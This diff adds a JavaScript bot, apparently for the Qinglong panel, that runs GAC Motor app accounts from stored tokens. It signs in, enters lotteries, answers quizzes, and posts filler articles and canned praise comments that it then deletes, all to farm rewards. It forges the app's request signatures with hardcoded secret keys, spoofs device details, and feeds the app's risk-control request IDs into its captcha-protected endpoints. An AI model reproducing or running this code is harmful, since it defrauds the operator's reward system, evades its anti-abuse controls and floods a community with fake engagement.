`${result.data.accessToken}${strSplitor}${result.data.refreshToken}` + }*/ + /*let env = await getEnvs(ckName) + if (env[0].value.indexOf(originalValue) !== -1) { + let newEnv = env[0].value.replaceAll(originalValue, newValue) + if (process.env["QLVersion"] == "old") { + await updateEnv(newEnv, env[0].id, null, ckName) + } else { + await updateEnv11(newEnv, env[0].id, null, ckName) + } + this.refreshStatus = true + }*/ + + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + this.ckStatus = false + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _getChinaTime() { + try { + let options = { + fn: "获取北京时间", + method: "get", + url: `http://api.m.taobao.com/rest/api3.do?api=mtop.common.getTimestamp`, + } + let { body: result } = await httpRequest(options) + result = JSON.parse(result) + this.BeiJingTime = result.data.t + } catch (e) { + console.log(e); + } + } + async _activity_lotter_common(body) { + try { + let options = { + fn: "活动抽奖", + method: "post", + url: `https://next.gacmotor.com/mall/activity-app/customer/activityPrize/lotter?notip=true`, + headers: { + "Host": "next.gacmotor.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 WindVane/8.5.0 StatusBarHeight/31 channel/GACClient", + "token": this.ck, + "Content-Type": "application/json;charset=UTF-8", + "Origin": "https://next.gacmotor.com", + "X-Requested-With": "com.cloudy.component", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://next.gacmotor.com/mall/act/turntable?id=467", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" + }, + body: JSON.stringify(body) + } + //console.log(options) + let { body: result } = await httpRequest(options) + result = JSON.parse(result) + if (result.code == "0000") { + $.log(`抽奖成功获得[${result.data.name}]`) + } else { + console.log(`抽奖失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _activity_lotter_mall(body) { + try { + let options = { + fn: "活动抽奖(mall)", + method: "post", + url: `https://mall.gacmotor.com/activity-app/customer/activityPrize/lotter?notip=true`, + headers: this._getHeaders_mall("post"), + body: JSON.stringify(body) + } + //console.log(options) + let { body: result } = await httpRequest(options) + result = JSON.parse(result) + if (result.code == "0000") { + $.log(`答题活动抽奖成功 获得[${result.data.name}]`) + } else { + console.log(`抽奖失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _question_list(body) { + try { + let options = { + fn: "获取答题活动列表", + method: "post", + url: `https://mall.gacmotor.com/e-small-bff/fronted/activityAnswer/queryAnswerActivityInfo`, + headers: this._getHeaders_mall("post"), + body: JSON.stringify(body) + } + //console.log(options) + let { body: result } = await httpRequest(options) + result = JSON.parse(result) + if (result.code == "0000") { + for (let id of result.data.taskInfoList) { + if (id.endTime > this.BeiJingTime && this.BeiJingTime > id.startTime && id.userSubmit == false) { + this.questionTaskId = id.id + } + } + } else { + console.log(`获取问题和选项失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + + async _question_info(body) { + try { + let options = { + fn: "获取问题和选项", + method: "post", + url: `https://mall.gacmotor.com/e-small-bff/fronted/activityAnswer/queryQuestionInfo`, + headers: this._getHeaders_mall("post"), + body: JSON.stringify(body) + } + //console.log(options) + let { body: result } = await httpRequest(options) + result = JSON.parse(result) + if (result.code == "0000") { + this.questionId = result.data.questionInfoList[0].id + this.answerIdList = [] + for (let answer of result.data.questionInfoList[0].answerInfoList) { + this.answerIdList.push(answer.id) + this.userAnswerList.push(answer.answerDesc) + } + this.userAnswer = this.userAnswerList.join(';'); + } else { + console.log(`获取问题和选项失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + + async _submit_answer(body) { + try { + let options = { + fn: "回答问题", + method: "post", + url: `https://mall.gacmotor.com/e-small-bff/fronted/activityAnswer/submitAnswer`, + headers: this._getHeaders_mall("post"), + body: JSON.stringify(body) + } + //console.log(options) + let { body: result } = await httpRequest(options) + result = JSON.parse(result) + if (result.code == "0000") { + console.log(`回答问题` + result.success); + } else { + console.log(`回答问题失败`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _getText() { + try { + let textList = [] + let options = { + fn: "获取随机一言", + method: "get", + url: `https://v1.hitokoto.cn/?c=e`, + } + for (let i = 0; i < 10; i++) { + await $.wait(1000) + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.hitokoto["length"] > 10) { + textList.push(result.hitokoto) + } + this.titleList = [textList[0]] + this.contentList = [textList[1]] + } + } catch (e) { + console.log(e); + } + } + _getText1() { + try { + let textList = [ + `好看好用,我也想拥有同款!`, + `好看好开猴赛雷,广汽传祺YYDS!`, + `打破0回复,帮你顶个楼!`, + `人间自有真情在,给个点赞最实在!`, + `实力顶帖,为君打call!`] + + this.commenttext = [textList[Math.floor(Math.random() * 5)]] + + } catch (e) { + console.log(e); + } + } + + async _join_power(taskId) { + try { + let options = { + fn: "加入助力", + method: "post", + url: `https://gmp.spgacmotorsc.com/partner/api-content/app/tasks/joinTask`, + headers: this._getHeaders_gmp("post"), + body: `taskId=${taskId}&companyCode=CHUANQI&phone=${this.mobile}` + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.errorCode == "0") { + console.log(`添加助力任务成功`); + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _power_list() { + try { + let options = { + fn: "助力任务列表获取", + method: "get", + url: `https://gmp.spgacmotorsc.com/partner/api-content/app/tasks/list?page=0&size=10&channelType=WEIXIN&taskType=SHARE&companyCode=CHUANQI&phone=${this.mobile}`, + headers: this._getHeaders_gmp("get"), + } + //console.log(options); + let { body: result } = await httpRequest(options); + result = JSON.parse(result); + //console.log(result); + if (result.errorCode == "0") { + for (let i of result.body.rows) { + if (i.isFinish == 1) { + this.powerList.push(i.taskId) + } + } + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(`请先手动完成一次任务`); + //console.log(e); + } + } + + async _power_auth() { + try { + let headers = this._getHeaders("get") + headers["Host"] = `gmp.spgacmotorsc.com` + let options = { + fn: "助力任务登录", + method: "get", + url: `https://gmp.spgacmotorsc.com/partner/api-user/app/auth/judge?phone=${this.mobile}&companyCode=CHUANQI`, + headers: headers, + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.body.isAuth == true) { + this.accessToken = result.body.user.accessToken; + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(`请先手动完成一次任务`); + //console.log(e); + } + } + + async _get_power_id(taskId) { + try { + let options = { + fn: "助力任务ID获取", + method: "get", + url: `https://gmp.spgacmotorsc.com/partner/api-content/app/tasks/detail?taskId=${taskId}&companyCode=CHUANQI&phone=${this.mobile}`, + headers: this._getHeaders_gmp("get"), + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.errorCode == "0") { + let shareUrl = result.body.shareUrl + var regex = /utId=([^&]+)/; + var match = shareUrl.match(regex); + if (match) { + this.powerId = match[1]; + console.log(`助力ID获取成功${this.powerId}`); + } else { + console.log("未找到utId的值"); + } + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _share_power(taskId) { + try { + let options = { + fn: "助力任务分享", + method: "post", + url: `https://gmp.spgacmotorsc.com/partner/api-content/app/tasks/backFillH5`, + headers: this._getHeaders_gmp("post"), + body: `taskId=${taskId}&companyCode=CHUANQI&phone=${this.mobile}` + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.errorCode == "0") { + console.log(result.body); + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _power() { + try { + let options = { + fn: "助力", + method: "get", + url: `https://gmp.spgacmotorsc.com/partner/api-content/base/content/trafficStatistics?id=11131879&openId=` + process.env["gacmotorPower"], + headers: { + "Host": "gmp.spgacmotorsc.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/1110017 MMWEBSDK/20230405 MMWEBID/2585 MicroMessenger/8.0.35.2360(0x2800235D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64", + "X-Requested-With": "com.tencent.mm", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://gmp.spgacmotorsc.com/h5/partner/", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" + }, + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.errorCode == "0") { + $.log(`助力执行成功 可能助力失败 正常情况`) + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _userInfo() { + try { + let options = { + fn: "信息查询", + method: "post", + url: `https://next.gacmotor.com/app/app-api/user/getLoginUser`, + headers: this._getHeaders("post"), + body: `` + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + this.mobile = Buffer.from(result.data.ms, 'base64').toString('utf-8'); + Buffer.from(result.data.ms, 'base64').toString('utf-8'); + $.log(`[${result.data.mobile}][${result.data.nickname}][${result.data.userIdStr}]`) + this.name = `昵称 [${result.data.nickname}]` + this.userIdStr = result.data.userIdStr; + this.ckStatus = true + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + this.ckStatus = false + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _taskList() { + try { + let options = { + fn: "任务情况查询", + method: "get", + url: `https://next.gacmotor.com/app/community-api/user/mission/getUserMissionList?place=1`, + headers: this._getHeaders("get"), + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + //result.data[0].total - result.data[0].finishedNum//签到 + this.postNotFinishedNum = Number(result.data[1].total) - Number(result.data[1].finishedNum)//发帖 + this.commentNotFinishedNum = Number(result.data[2].total) - Number(result.data[2].finishedNum)//评论 + this.sharenNotFinishedNum = Number(result.data[3].total) - Number(result.data[3].finishedNum)//分享 + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + this.ckStatus = false + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _luckyDrawNum() { + try { + let options = { + fn: "抽奖次数查询", + method: "get", + url: `https://next.gacmotor.com/app/activity/shopDraw/getchances?activityCode=shop-draw`, + headers: this._getHeaders("get"), + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + this.luckyDrawNum = result.data + console.log(`抽奖次数剩余${this.luckyDrawNum}次`); + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + this.ckStatus = false + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _luckyDraw() { + await this.get_lastReq("lottery") + try { + let options = { + fn: "抽奖", + method: "post", + //https://next.gacmotor.com/app/activity/shopDraw/luckyDraw + url: `https://next.gacmotor.com/app/activity/shopDraw/luckyDrawHc`, + headers: this._getHeaders("post"), + //body: JSON.stringify({ "activityCode": "shop-draw", "repeatcheck": true }) + body: JSON.stringify({ + "activityCode": "shop-draw", + "repeatcheck": true, + "lastReq": this.lotteryRequestId + }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + $.log(`抽奖成功获得[${result.data.medalName}]`) + + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + this.ckStatus = false + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _getGDou() { + try { + let options = { + fn: "G豆查询", + method: "get", + url: `https://next.gacmotor.com/app/app-api/user/getUserGdou`, + headers: this._getHeaders("get"), + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + this.GDouNum = `G豆 [${result.data}]` + $.log(`当前G豆数量[${result.data}]`) + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _applatestlist() { + try { + let options = { + fn: "最新帖子列表", + method: "get", + url: `https://next.gacmotor.com/app/community-api/community/api/post/applatestlist?pageNum=1&pageSize=10`, + headers: this._getHeaders("get"), + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + this.applatestlist = [result.data.list[0].postVo.postId] + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _signInStatus() { + try { + let options = { + fn: "签到查询", + method: "get", + url: `https://next.gacmotor.com/app/app-api/sign/signStatus`, + headers: this._getHeaders("get"), + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + if (result.data == true) { + //已签 + this.signInStatus = true; + } else { + //未签 + this.signInStatus = false + } + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _signInCounts() { + try { + let options = { + fn: "签到信息", + method: "get", + url: `https://next.gacmotor.com/app/app-api/sign/countSignDays`, + headers: this._getHeaders("get"), + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + $.log(`已经连续签到${result.data}天`) + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async get_lastReq(event) { + let options = { + fn: "获取参数", + method: "get", + url: `https://next.gacmotor.com/app/app-api/common/hcRiskControl/getRiskLevelCommon?eventId=${event}`, + headers: this._getHeaders("get"), + + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + if (event == "signIn") { + this.signInCaptchaId = result.data.captchaId + this.signInRequestId = result.data.requestId + } + if (event == "lottery") { + this.lotteryRequestId = result.data.requestId + } + if (event == "share") { + this.shareCaptchaId = result.data.captchaId + this.shareRequestId = result.data.requestId + } + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } + async _signIn() { + await this.get_lastReq("signIn") + try { + /*let options = { + fn: "签到执行", + method: "get", + url: `https://next.gacmotor.com/app/app-api/sign/submit`, + headers: this._getHeaders("get"), + }*/ + let options = { + fn: "签到执行", + method: "post", + url: `https://next.gacmotor.com/app/app-api/sign/submitHc`, + headers: this._getHeaders("post"), + body: JSON.stringify({ + "captchaId": this.signInCaptchaId, + "lastReq": this.signInRequestId + }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + $.log(`签到[${result.resultMsg}]`) + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _forward(postId) { + await this.get_lastReq("share") + try { + /*let options = { + fn: "转发", + method: "post", + url: `https://next.gacmotor.com/app/community-api/community/api/post/forward`, + headers: this._getHeaders("post"), + body: JSON.stringify({ "postId": postId }) + }*/ + let options = { + fn: "转发", + method: "post", + url: `https://next.gacmotor.com/app/community-api/community/api/post/forwardHc`, + headers: this._getHeaders("post"), + body: JSON.stringify({ "postId": postId, "captchaId": this.shareCaptchaId, "lastReq": this.shareRequestId }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + console.log(`转发[${result.resultMsg}]`); + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _add(postId, commentContent) { + try { + let options = { + fn: "评论", + method: "post", + url: `https://next.gacmotor.com/app/community-api/community/api/comment/add`, + headers: this._getHeaders("post"), + body: JSON.stringify({ "commentType": 0, "postId": postId, "commentContent": commentContent, "isReplyComment": 1, "commentImg": "" }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + console.log(`评论[${result.resultMsg}]`); + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _commentlist() { + try { + let options = { + fn: "获取评论列表", + method: "post", + url: `https://next.gacmotor.com/app/community-api/community/api/comment/post`, + headers: this._getHeaders("post"), + body: JSON.stringify({ "pageNum": 1, "pageSize": 10, "userIdStr": this.userIdStr }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + if (result["data"].length > 0) { + this.commentList = [result.data[0].commentId] + } + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _commentdelete(commentId) { + try { + let options = { + fn: "删除评论", + method: "post", + url: `https://next.gacmotor.com/app/community-api/community/api/comment/delete`, + headers: this._getHeaders("post"), + body: JSON.stringify({ "commentId": `${commentId}` }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + console.log(`删除评论[${result.resultMsg}]`); + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + async _post(postTitle, postContent) { + try { + let options = { + fn: "发表文章", + method: "post", + url: `https://next.gacmotor.com/app/community-api/community/api/post/appsavepost`, + headers: this._getHeaders("post"), + body: JSON.stringify({ "address": "", "channelInfoId": "", "cityId": "", "columnId": "", "commodityId": "", "commodityMainImage": "", "commodityName": "", "commodityType": "", "contentImgNums": 0, "contentWords": postContent, "coverImg": "", "customCover": "https://pic-gsp.gacmotor.com/app/a7b1a896-4f92-449f-859e-5e238d131ea3.jpg", "detailAddress": "", "lat": "", "lng": "", "orderId": "", "orderPrice": "", "orderSn": "", "orderType": "", "postContent": `[{\"text\":\"${postContent}\"}]`, "postTitle": postTitle, "postType": "2", "rankTotal": "", "topicId": "", "vin": "", "weekRank": "" }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + console.log(`发表文章[${result.resultMsg}]`); + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _delete(postId) { + try { + let options = { + fn: "删除文章", + method: "post", + url: `https://next.gacmotor.com/app/community-api/community/api/post/delete`, + headers: this._getHeaders("post"), + body: JSON.stringify({ "postId": postId.toString() }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + console.log(`删除文章[${result.resultMsg}]`); + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + + async _postlist() { + try { + let options = { + fn: "文章列表", + method: "post", + url: `https://next.gacmotor.com/app/community-api/community/api/post/querylist`, + headers: this._getHeaders("post"), + body: JSON.stringify({ "pageNum": 1, "pageSize": 10, "userIdStr": this.userIdStr, "userId": this.userIdStr, "myHome": true }) + } + let { body: result } = await httpRequest(options); + //console.log(options); + result = JSON.parse(result); + //console.log(result); + if (result.resultCode == "0") { + //文章ID result.data.list[0].postId + this.postList = [result.data.list[0].postId]; + } else { + console.log(`❌${options.fn}状态[${result.resultMsg}]`); + console.log(JSON.stringify(result)); + } + } catch (e) { + console.log(e); + } + } + _MD5(str) { + const crypto = require("crypto"); + return crypto.createHash("md5").update(str).digest("hex"); + } + _getHeaders(method) { + let timestamp1 = new Date().getTime(); + let timestamp2 = new Date().getTime(); + let nonce = Math.floor(100000 + Math.random() * 900000); + let appid = `8c4131ff-e326-43ea-b333-decb23936673` + let key = `46856407-b211-4a10-9cb2-5a9b94361614` + let sig = this._MD5(`${timestamp1}${nonce}${appid}${key}`) + let apiSignKey = `a361588rt20dpol` + let apiSign = (this._MD5(`${timestamp2}${apiSignKey}`)).toUpperCase() + if (method == "get") { + return { + "Accept": "application/json", + "appToken": this.ck, + "deviceCode": this.deviceCode, + "current-time": timestamp2, + "deviceId": this.registrationID, + "version": appVersion, + "nonce": nonce, + "token": this.ck, + "Authorization": `Bearer ${this.ck}`, + "sig": sig, + "platformNo": "Android", + "osVersion": 10, + "operateSystem": "android", + "appId": appid, + "registrationID": this.registrationID, + "api-sign": apiSign, + "deviceModel": "IQOO 10", + "timestamp": timestamp1, + //"Content-Type": "application/json; charset=UTF-8", + //"Content-Length": 24, + "Host": "next.gacmotor.com", + "Connection": "Keep-Alive", + "Accept-Encoding": "gzip", + "User-Agent": "okhttp/4.8.1" + } + } else { + return { + "Accept": "application/json", + "appToken": this.ck, + "deviceCode": this.deviceCode, + "current-time": timestamp2, + "deviceId": this.registrationID, + "version": appVersion, + "nonce": nonce, + "token": this.ck, + "Authorization": `Bearer ${this.ck}`, + "sig": sig, + "platformNo": "Android", + "osVersion": 10, + "operateSystem": "android", + "appId": appid, + "registrationID": this.registrationID, + "api-sign": apiSign, + "deviceModel": "IQOO 10", + "timestamp": timestamp1, + "Content-Type": "application/json; charset=UTF-8", + //"Content-Length": 24, + "Host": "next.gacmotor.com", + "Connection": "Keep-Alive", + "Accept-Encoding": "gzip", + "User-Agent": "okhttp/4.8.1" + } + } + } + _getHeaders_gmp(method) { + let timestamp2 = new Date().getTime(); + let apiSignKey = `a361588rt20dpol` + let apiSign = (this._MD5(`${timestamp2}${apiSignKey}`)).toUpperCase() + if (method == "get") { + return { + "Host": "gmp.spgacmotorsc.com", + "Connection": "keep-alive", + "accessToken": this.accessToken, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 WindVane/8.5.0 StatusBarHeight/31 channel/GACClient", + "client": "app", + "Content-Type": "application/x-www-form-urlencoded", + "current-time": timestamp2, + "companyCode": "CHUANQI", + "api-sign": apiSign, + "ver": "20220513", + "Accept": `*/*`, + "Origin": "https://gmp.spgacmotorsc.com", + "X-Requested-With": "com.cloudy.component", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + } + } else { + return { + "Host": "gmp.spgacmotorsc.com", + "Connection": "keep-alive", + "accessToken": this.accessToken, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 WindVane/8.5.0 StatusBarHeight/31 channel/GACClient", + "client": "app", + "Content-Type": "application/x-www-form-urlencoded", + "current-time": timestamp2, + "companyCode": "CHUANQI", + "api-sign": apiSign, + "ver": "20220513", + "Accept": "*/*", + "Origin": "https://gmp.spgacmotorsc.com", + "X-Requested-With": "com.cloudy.component", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + } + } + } + _getHeaders_mall(method) { + if (method == "get") { + return { + "Host": "mall.gacmotor.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/1110017 MMWEBSDK/20230405 MMWEBID/2585 MicroMessenger/8.0.35.2360(0x2800235D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64", + "token": this.mallToken, + "Content-Type": "application/json;charset=UTF-8", + "Origin": "https://mall.gacmotor.com", + "X-Requested-With": "com.tencent.mm", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://mall.gacmotor.com/act/answer-activity-detail?id=464&taskId=7&userSubmit=0", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" + } + } else { + return { + "Host": "mall.gacmotor.com", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/1110017 MMWEBSDK/20230405 MMWEBID/2585 MicroMessenger/8.0.35.2360(0x2800235D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64", + "token": this.mallToken, + "Content-Type": "application/json;charset=UTF-8", + "Origin": "https://mall.gacmotor.com", + "X-Requested-With": "com.tencent.mm", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://mall.gacmotor.com/act/answer-activity-detail?id=464&taskId=7&userSubmit=0", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" + } + } + } +} + +async function start() { + if (process.env["gacmotorPost"] == "true") { + $.log(`已开启发帖`) + } else { + $.log(`未开启发帖`) + } + if (process.env["gacmotorComment"] == "true") { + $.log(`已开启评论`) + } else { + $.log(`未开启评论`) + } + if (process.env["gacmotorLuckyDram"] && Number(process.env["gacmotorLuckyDram"]) !== NaN) { + $.log(`已设置抽奖次数[${process.env["gacmotorLuckyDram"]}]次`) + } else { + $.log(`未设置抽奖次数 默认抽奖1次`) + } + + let taskall = []; + + for (let user of userList) { + await user.main() + } + await Promise.all(taskall); + $.msg($.name, "广汽传祺任务 Over", "smallfawn 提醒您 天冷加衣") +} + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } + + await SendMsg($.logs.join("\n")) +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +//******************************************************** +/** + * 变量检查与处理 + * @returns + */ +async function checkEnv() { + ReadFiles(GacmotorCookies) + if (TempAccount.length <= 0) { + return + } + for (let cookie of TempAccount) { + if (cookie["AT"] && cookie["RT"]) { + let n = `${cookie["AT"]}#${cookie["RT"]}` + userList.push(new UserInfo(n)); + } else { + //不可为空 + } + } + return console.log(`共找到${userList.length}个账号`), true; //true == !0 +} + +///////////////////////////////////////////////////////////////////////////////////// +function httpRequest(options) { + if (!options["method"]) { + return console.log(`请求方法不存在`); + } + if (!options["fn"]) { + console.log(`函数名不存在`); + } + return new Promise((resolve) => { + $[options.method](options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + try { + resp = JSON.parse(resp); + } catch (error) { } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(resp); + } + }); + }); +} +async function SendMsg(message) { + if (!message) return; + if ($.isNode()) { + await notify.sendNotify($.name, message) + } else { + $.msg($.name, '', message) + } +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return 